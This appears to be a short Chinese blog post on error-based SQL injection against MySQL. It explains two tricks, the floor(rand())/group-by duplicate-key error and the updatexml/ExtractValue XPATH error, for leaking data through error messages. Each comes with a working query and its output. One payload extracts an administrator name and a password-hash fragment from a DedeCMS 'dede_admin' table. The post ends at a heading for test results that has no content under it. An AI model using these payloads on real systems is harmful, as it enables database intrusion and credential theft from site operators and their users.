在很多的情况 下我们不能直接方便的进行
注入,于是有了BENCHMARK延迟注射,如果能得到MySQL的错误信息的话,现在又有了更方便的方法。
网上流传了两三种方法,以前我在BLOG也记录了其中一种。
http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html前段时间在t00ls上看到的另一种:
http://www.t00ls.net/thread-8745-1-4.html类似这样
mysql> SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT 'x'))a fro
m information_schema.tables group by a)b;
ERROR 1062 (23000): Duplicate entry '1x' for key 'group_key'
这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。
最后一种(只针对MySQL 5.1++)
http://hi.baidu.com/lucidc/blog/item/71d080b031fb3a5908230262.htmlhttp://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full-pack.html通过对ExtractValue函数传递不合XPATH语法规则的参数来爆出数据。
ExtractValue、UpdateXML函数参见:
http://dev.mysql.com/tech-resources/articles/mysql-5.1-xml.html利用方法:
mysql> SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a
,MID(pwd,4,16),0x5d) FROM dede_admin),1);
ERROR 1105 (HY000): XPATH syntax error: '[admin:7a57a5a743894a0e]'
比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了。
实际测试效果: